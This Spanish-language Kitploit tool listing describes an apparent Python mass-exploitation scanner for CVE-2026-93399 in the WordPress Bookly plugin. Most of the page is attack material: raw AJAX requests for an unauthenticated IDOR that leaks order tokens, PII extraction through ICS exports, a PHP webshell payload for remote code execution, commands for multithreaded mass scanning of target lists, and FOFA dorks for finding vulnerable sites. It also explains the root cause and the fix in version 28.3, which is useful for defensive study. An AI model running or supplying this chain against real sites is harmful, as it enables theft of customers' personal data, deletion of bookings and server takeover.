Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-93399 — Escáner de explotación masiva en Python para CVE-2026-93399 en el plugin Bookly de WordPress: detección de versión, enumeración de tokens de pedido mediante IDOR no autenticado, extracción de PII y RCE mediante webshell. | Kitploit
Herramientas/GitHubGitHub/josemour8/cve-2026-93399
ReconocimientoEscáneres de VulnerabilidadesGeneración de PayloadsExplotaciónExplotación de Aplicaciones WebExfiltración de DatosSeguridad WebPruebas de Penetración
GitHubjosemour8/cve-2026-93399

CVE-2026-93399

Escáner de explotación masiva en Python para CVE-2026-93399 en el plugin Bookly de WordPress: detección de versión, enumeración de tokens de pedido mediante IDOR no autenticado, extracción de PII y RCE mediante webshell.

2hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
Compartir

CVE-2026-93399

Bookly <= 28.2 IDOR no autenticado + fuga de PII + RCE

Escáner de explotación masiva para CVE-2026-93399 (CVSS 9.1 Crítico) que afecta al plugin de WordPress Bookly — Online Scheduling and Appointment Booking System (versiones <= 28.2).

Tabla de Contenidos

  • Descripción general
  • Cadena de vulnerabilidades
  • Versiones afectadas
  • Requisitos
  • Instalación
  • Uso
  • FOFA Dorks
  • Flujo de ataque
  • Formato de salida
  • Detalles técnicos
  • Descargo de responsabilidad
  • Licencia

Descripción general

El plugin Bookly para WordPress es vulnerable a Insecure Direct Object Reference (IDOR) a través de las acciones AJAX bookly_get_form_id, bookly_render_complete, bookly_add_to_calendar y bookly_rollback_order. Todas las acciones son no autenticadas (_default => 'anonymous') y la protección CSRF está deshabilitada (csrfTokenValid() devuelve true).

El manejador bookly_get_form_id almacena ciegamente el form_data controlado por el atacante (incluyendo order_id) en una nueva sesión de reserva sin ningún tipo de validación. El manejador bookly_render_complete confía entonces en este order_id inyectado para buscar y devolver el token secreto de la Order correspondiente — permitiendo a atacantes no autenticados enumerar IDs de pedidos secuenciales, divulgar los tokens de pedidos de otros clientes, recuperar información de calendario/citas y eliminar permanentemente reservas arbitrarias no completadas.

Cadena de vulnerabilidades

Step 1: getFormId       → inject form_data[order_id] = VICTIM_ID (IDOR)
Step 2: renderComplete  → leak victim order token via Order::query()
Step 3: addToCalendar    → extract customer PII (staff name, email, service, date)
Step 4: sessionSave     → inject file payload (RCE, requires Files add-on)

Versiones afectadas

  • Vulnerables: Bookly <= 28.2 (todas las versiones hasta la 28.2 inclusive)
  • Corregido en: 28.3 (se añadió la lista blanca _prepareFormData() y el saneador _prepareCartData())

Requisitos

  • Python 3.8+
  • Biblioteca requests
pip install requests

Instalación

git clone https://github.com/josemour8/CVE-2026-93399.git
cd CVE-2026-93399
pip install requests

Uso

Objetivo único

# Detect Bookly version (safe, no exploit)
python3 exploit.py -u http://target.com --detect

# IDOR: enumerate order tokens (1-50)
python3 exploit.py -u http://target.com --enumerate --start 1 --end 50

# PII extraction via ICS (staff name, email, appointment data)
python3 exploit.py -u http://target.com --pii

# RCE: attempt webshell upload via session injection
python3 exploit.py -u http://target.com --rce

# Full chain: IDOR + PII + RCE
python3 exploit.py -u http://target.com --full

Escaneo masivo

# Full chain on target list with 10 threads
python3 exploit.py -f targets.txt --full -th 10 -o results.txt

# Enumerate tokens across multiple targets
python3 exploit.py -f targets.txt --enumerate --start 1 --end 100 -th 20

Opciones

FlagDescripción
-u, --urlURL de destino única
-f, --fileArchivo con URLs de destino (una por línea)
--detectSolo verificar versión (seguro)
--enumerateIDOR: filtrar tokens de pedidos
--piiExtraer PII mediante la exportación de calendario ICS
--rceIntentar subir un webshell
--fullCadena completa: IDOR + PII + RCE
--start NIniciar order_id (predeterminado: 1)
--end NFinalizar order_id (predeterminado: 50)
-th, --threads NNúmero de hilos (predeterminado: 5)
-o, --output FILEArchivo de salida (predeterminado: results.txt)
-v, --verboseMostrar todos los intentos

Dorks de FOFA

Encontrar todas las instalaciones de Bookly

body="bookly-responsive-appointment-booking-tool"

Encontrar páginas de Bookly con el formulario de reserva renderizado

body="BooklyL10nGlobal"

Específico de la versión (vulnerable <= 28.2)

body="bookly-main.css?ver=28.2"

Combinado (mayor confianza)

body="bookly-responsive-appointment-booking-tool" && body="BooklyL10nGlobal"

Encontrar objetivos con el complemento Files (para RCE)

body="bookly-addon-files"

Encontrar objetivos con el campo de carga de archivos configurado (con capacidad de RCE)

body="bookly-js-upload"

Flujo de ataque

Paso 1: Inyectar order_id (IDOR)

POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded

action=bookly_get_form_id
form_data[order_id]=1
form_data[data][first_name]=x
form_data[chain][0][service_id]=1
form_data[chain][0][staff_ids][]=1
form_data[cart][0][service_id]=1
form_data[cart][0][staff_ids][]=1

Respuesta:

{"success":true,"form_id":"a1b2c3d4e5f6...","status":{"booking":"new"}}

Código vulnerable (Ajax.php:45-46):

$form_id = Lib\FormSession::createSession();
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// form_data stored RAW — no _prepareFormData() whitelist in <= 28.2

Paso 2: Filtrar el token de pedido

POST /wp-admin/admin-ajax.php
action=bookly_render_complete
form_id=a1b2c3d4e5f6...

Respuesta:

{"success":true,"bookly_order":"de2730e13265e86364172d99444ebe3d","html":"..."}

Código vulnerable (Ajax.php:733):

'bookly_order' => Lib\Entities\Order::query()
    ->where('id', $userData->getOrderId())  // attacker-controlled
    ->fetchVar('token')                       // victim token leaked

Paso 3: Extraer PII mediante ICS

GET /wp-admin/admin-ajax.php?action=bookly_add_to_calendar&bookly_order=LEAKED_TOKEN&calendar=ics

Respuesta: Archivo ICS con datos del cliente:

BEGIN:VEVENT
ORGANIZER;CN=Admissions Manager:mailto:[email protected]
SUMMARY:TNS Gulberg - Tour
DTSTART:20230908T080000Z
END:VEVENT

Paso 4: RCE (requiere el complemento Files)

POST /wp-admin/admin-ajax.php
action=bookly_files_upload
custom_field_id=<field_id_from_booking_form>
csrf_token=<from_homepage>
file=shell.php (Content: <?php echo system($_GET["c"]); ?>)

Ubicación del shell: /wp-content/uploads/bookly-files/shell.php

Formato de salida

http://target.com | IDOR | order_id=1 | token=de2730e13265e86364172d99444ebe3d
http://target.com | PII | order_id=2 | staff=Admissions Manager | [email protected] | service=TNS Gulberg - Tour | date=20230908T080000Z
http://target.com | RCE | http://target.com/wp-content/uploads/bookly-files/pxd001.php?c=id

Detalles técnicos

Causa raíz

El controlador getFormId() almacena el parámetro completo form_data (JSON controlado por el usuario) en la base de datos de sesión sin ninguna lista blanca ni sanitización. Esto permite a un atacante inyectar claves de sesión arbitrarias, incluida order_id.

El controlador renderComplete() lee order_id de la sesión y consulta directamente la tabla Order — sin verificar que la sesión actual haya creado ese pedido.

Dos fallos que se combinan

  1. CSRF deshabilitado — csrfTokenValid() está sobrescrito para return true en el módulo de reservas
  2. Todas las acciones son anónimas — permissions() devuelve array('_default' => 'anonymous'), por lo que cada controlador registra tanto los hooks wp_ajax_ como wp_ajax_nopriv_

La corrección (28.3)

La versión 28.3 añadió _prepareFormData() — una lista blanca estricta que elimina todo excepto los ajustes de visualización (skip_service_step, hide_service_part1, hide_service_part2, defaults). También añadió _prepareCartData() para sanitizar las claves de los elementos del carrito.

Descargar herramienta